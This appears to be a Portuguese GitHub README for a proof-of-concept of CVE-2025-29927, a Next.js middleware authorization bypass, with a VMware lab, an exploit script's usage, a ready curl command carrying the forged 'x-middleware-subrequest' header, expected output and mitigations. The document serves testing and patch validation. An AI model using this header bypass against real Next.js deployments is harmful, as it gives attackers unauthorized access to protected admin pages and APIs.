
Prova de conceito de exploit para CVE-2025-29927, uma bypass de autorização de middleware do Next.js. Inclui um laboratório alvo vulnerável e um script em Python para verificar a bypass enviando cabeçalhos x-middleware-subrequest elaborados.
Um pequeno projeto no GitHub para validar o CVE-2025-29927 (Bypass de Autorização no Middleware do Next.js) em um ambiente de laboratório de autorização local (VMware: máquina alvo Ubuntu + máquina atacante Kali).
⚠️ Aviso Legal: Este projeto destina-se exclusivamente a fins educacionais, CTF e ambientes de laboratório que você possui ou para os quais possui autorização explícita. É estritamente proibido usá-lo em qualquer sistema não autorizado. As consequências do uso indevido deste projeto são de responsabilidade do usuário.
| Item | Conteúdo |
|---|---|
| CVE | CVE-2025-29927 |
| Data de Divulgação | 25/03/2025 (Aviso de Segurança Oficial do Next.js) |
| Componente Afetado | Vercel Next.js (Framework Full-Stack Node.js) |
| Tipo de Vulnerabilidade | Bypass de Autorização / Autorização Incorreta (CWE-863) |
| Versões Afetadas | < 12.3.5, < 13.5.9, < 14.2.25, < 15.2.3 |
| Versões Corrigidas | 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 ou superiores |
| Nível de Gravidade | Crítica / Alta (pontuação específica conforme página do NVD) |
Após a divulgação da vulnerabilidade, muitos painéis administrativos, callbacks de pagamento e APIs internas em ambientes de produção foram contornados. O Metasploit e o ProjectDiscovery Nuclei incluíram módulos de detecção, tornando-se uma das vulnerabilidades de "bypass de autorização em nível de framework" mais representativas de 2025.
O Next.js permite que a "lógica de autenticação" seja escrita no middleware, por exemplo:
export function middleware(request) {
if (!isLogin(request)) return NextResponse.redirect("/login"); // Não autenticado → bloqueia
return NextResponse.next();
}
O problema é que o Next.js internamente depende de um cabeçalho de requisição que o cliente pode forjar para determinar se "esta requisição já passou pelo middleware":
x-middleware-subrequest: middleware
Nas versões afetadas, se uma requisição externa carregar este cabeçalho interno, o Next.js assume erroneamente que o middleware já foi executado, fazendo com que todo o middleware de autenticação seja ignorado. O atacante não precisa de nenhuma conta; basta acessar rotas protegidas como /admin com este cabeçalho para obter um 200 direto — e como a página em si geralmente confia no middleware e não faz uma segunda verificação, o controle de autorização é anulado (erro de limite de confiança).
💡 O valor mais comum usado em explorações públicas é a forma repetida e concatenada do caminho do middleware, por exemplo
middleware:middleware:middleware:middleware:middleware; um únicomiddlewarepode não funcionar em algumas versões/estruturas de diretórios (testado na versão 14.2.24 deste laboratório). Este PoC testa várias opções de valores em sequência; se qualquer uma funcionar, o bypass é bem-sucedido.
CVE-2025-29927-PoC/
├── README.md # Este documento (explicação da vulnerabilidade + tutorial do laboratório VMware)
├── LICENSE # MIT
├── .gitignore
├── exploit.py # ★ PoC de validação em Python3 apenas com biblioteca padrão (executado no Kali/qualquer máquina)
├── target/ # ★ Laboratório de vulnerabilidade auto-construído (copie para a máquina alvo Ubuntu)
│ ├── package.json # Bloqueia [email protected] (versão afetada)
│ ├── middleware.js # Simula o "middleware de autenticação" de produção real
│ ├── pages/
│ │ ├── index.js # Página inicial
│ │ ├── login.js # Página de login (demonstra o redirecionamento para cá)
│ │ └── admin.js # ★ Painel administrativo protegido, lê flag.txt no servidor
│ ├── flag.txt # Flag do laboratório: FLAG{...}
│ ├── setup.sh # Instala Node 20 + npm install + build com um clique na máquina alvo
│ └── start.sh # Escuta em 0.0.0.0:3000 em modo de produção
└── tests/
└── mock_target.py # Máquina alvo simulada sem Node (apenas para autoteste de desenvolvimento)
┌───────────────────────────────────────────────────────────┐
│ VMware Workstation Pro 17 (Host: Windows) │
│ Rede: NAT (VMnet8 padrão), duas VMs no mesmo segmento, ping mútuo │
│ │
│ ┌──────────────────┐ ┌─────────────────────┐ │
│ │ Alvo Ubuntu 24.04 │ │ Atacante Kali Linux │ │
│ │ │ http │ │ │
│ │ Node 20 + Next │◄───────│ python3 exploit.py │ │
│ │ 14.2.24 :3000 │ GET │ │ │
│ └──────────────────┘ └─────────────────────┘ │
│ IP: <TARGET_IP> IP: <ATTACKER_IP> │
└───────────────────────────────────────────────────────────┘
| Finalidade | Imagem/Software | Versão Recomendada |
|---|---|---|
| Software de Virtualização | VMware Workstation Pro 17 (gratuito para uso pessoal) | 17.x |
| Imagem da Máquina Alvo | ISO do Ubuntu Server LTS | 24.04.x |
| Máquina Atacante | Kali Linux (imagem VMware oficial pré-configurada ou instalação via ISO) | 2025.x |
| (Opcional) | Host com 8 GB+ de RAM, 50 GB+ de disco | — |
Todos os passos abaixo são executados na máquina alvo Ubuntu.
# Opção A: Faça push do projeto para seu GitHub e clone (recomendado; use este se for enviar para o GitHub depois)
git clone https://github.com/<seu-usuario>/CVE-2025-29927-PoC.git
cd CVE-2025-29927-PoC
# Opção B: Copie do host via scp
# scp -r CVE-2025-29927-PoC ubuntu@<TARGET_IP>:~/
cd CVE-2025-29927-PoC/target
sudo bash setup.sh # Instala Node 20(LTS) + npm install + next build
O que o setup.sh faz internamente: atualiza o apt → instala ferramentas curl/CA/build → instala o Node.js 20 LTS via NodeSource → npm install (baixa dependências como [email protected]) → npm run build.
bash start.sh
# Se vir "▲ Next.js 14.2.24" e "Local: http://0.0.0.0:3000", está funcionando
Abra outro terminal e faça um teste de fumaça local primeiro:
curl -s http://127.0.0.1:3000 # Página inicial, 200
curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:3000/admin
# Saída esperada: 307 —— sem cookie, bloqueado pelo middleware (autenticação funcionando normalmente)
curl -s http://127.0.0.1:3000/admin # Observe que o body deve ser o conteúdo da página de login após o redirecionamento
O firewall da máquina alvo não bloqueia tráfego de entrada por padrão; se você ativou o ufw:
sudo ufw allow 3000/tcp.
sudo apt update
python3 --version # O Kali já vem com Python3, sem dependências adicionais (PoC usa apenas biblioteca padrão)
ip -4 addr show # Anote o IP do Kali (ex: 192.168.x.xxx)
Coloque o exploit.py no Kali (clone uma cópia do mesmo repositório ou copie apenas o arquivo via scp) e, em seguida, confirme que as duas VMs se comunicam:
ping <TARGET_IP> # Se funcionar ↓
curl -s -o /dev/null -w "%{http_code}\n" http://<TARGET_IP>:3000 # Deve retornar 200
Execute na máquina atacante Kali:
python3 exploit.py -u http://<TARGET_IP>:3000
[1/3] Sondagem de linha de base GET /admin (sem cabeçalhos especiais)
└─ Código de status 307 —— bloqueado normalmente pelo middleware ✓ (ambiente vulnerável pronto)
[2/3] Tentativa de bypass x-middleware-subrequest: <teste de valores candidatos>
└─ Valor do cabeçalho='middleware:middleware:middleware:middleware:middleware' Código de status 200 —— Bypass bem-sucedido! Middleware ignorado ✓
[3/3] Extração de resultados
└─ A página administrativa leu o flag.txt do servidor:
FLAG{cve-2025-29927-lab-ok}
[+] Conclusão: VULNERABLE —— Bypass de autorização CVE-2025-29927 validado com sucesso
Interpretação principal: A mesma URL, sem o cabeçalho especial, é bloqueada com 307; com x-middleware-subrequest, retorna 200 direto para o painel administrativo — um ciclo completo de validação de "bypass do middleware de autenticação".
# ① Linha de base: deve retornar 307 (redirecionamento para /login)
curl -i http://<TARGET_IP>:3000/admin | head -n 10
# ② Exploração: deve retornar 200 e conter FLAG{...}
curl -i -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
http://<TARGET_IP>:3000/admin | head -n 30
📌 Nota de teste real: Neste laboratório (Next 14.2.24 +
middleware.jsno diretório raiz), o valor com 5 repetiçõesmiddleware:middleware:middleware:middleware:middlewarefunciona, mas um únicomiddlewarenão funciona. Para testes manuais com curl, use diretamente o valor com 5 repetições acima; se não tiver certeza, execute oexploit.py(que testa os valores candidatos automaticamente).
usage: exploit.py [-h] -u URL [--path PATH] [--timeout SECONDS]
[--delay SECONDS] [--insecure] [--verbose]
-u, --url URL Endereço do alvo, ex: http://192.168.162.10:3000
--path PATH Caminho protegido, padrão /admin
--timeout SECONDS Timeout por requisição, padrão 10
--delay SECONDS Intervalo entre os valores candidatos do cabeçalho, padrão 0
--insecure Ignora a validação de certificado HTTPS
--verbose Imprime o status de resposta de cada cabeçalho candidato, útil para depuração
Códigos de saída: 0 = vulnerabilidade confirmada; 1 = alvo não afetado/todas as requisições falharam; 2 = erro de parâmetros ou ambiente
Se você não tiver VMware ou não quiser instalar o Node primeiro, pode usar a máquina alvo simulada incluída no repositório para testar a lógica do PoC primeiro (basta ter Python3 no host; ela simula o comportamento de "bloqueio 307 / retorno 200 com cabeçalho especial"):
# Terminal 1: Inicie a máquina alvo simulada (escuta em 127.0.0.1:8123)
python3 tests/mock_target.py
# Terminal 2: Validação
python3 exploit.py -u http://127.0.0.1:8123
# Saída esperada: VULNERABLE e FLAG{mock-bypass-ok}
Atenção: O simulador serve apenas para autotestar a lógica do script; a validação oficial deve ser feita no laboratório real das seções 5 e 6.
npm i [email protected] (ou 15.2.3+ / versão nova correspondente) e faça o build e deploy novamente;getServerSideProps / Route Handlers / APIs de backend;x-middleware-subrequest de entrada na camada de proxy reverso/CDN/WAF.# Template oficial do Nuclei
nuclei -u http://<TARGET_IP>:3000 -t http/cves/2025/CVE-2025-29927.yaml
Após a atualização, execute este PoC novamente; ele deve retornar "alvo não afetado" — esta é a forma de aceitação para comparação antes/depois da correção.
| Sintoma | Causa / Solução |
|---|---|
next start informa porta em uso | Use lsof -i :3000 para encontrar o processo, ou use -p 3001 |
curl http://<TARGET_IP>:3000 não funciona | As duas VMs não estão no mesmo segmento NAT; verifique se os adaptadores de rede VMware estão ambos em NAT e confirme o segmento com ip a |
Acessar /admin já retorna 200 na linha de base | O middleware não está ativo: confirme se middleware.js está no diretório raiz de target/ e se o build do setup.sh foi bem-sucedido |
| Após a tentativa de bypass, ainda retorna 307 | Os valores que funcionam variam conforme versão/estrutura de diretórios: execute primeiro python3 exploit.py --verbose para ver os resultados do teste; para teste manual com curl, use o valor com 5 repetições middleware:middleware:middleware:middleware:middleware |
| O Kali não consegue dar ping no Ubuntu | Com NAT do VMware, a comunicação é padrão; se ainda não funcionar, verifique os firewalls das duas máquinas e restaure o snapshot |
| Quero testar com outra versão do Next | Altere a versão do next em target/package.json e execute npm install && npm run build novamente |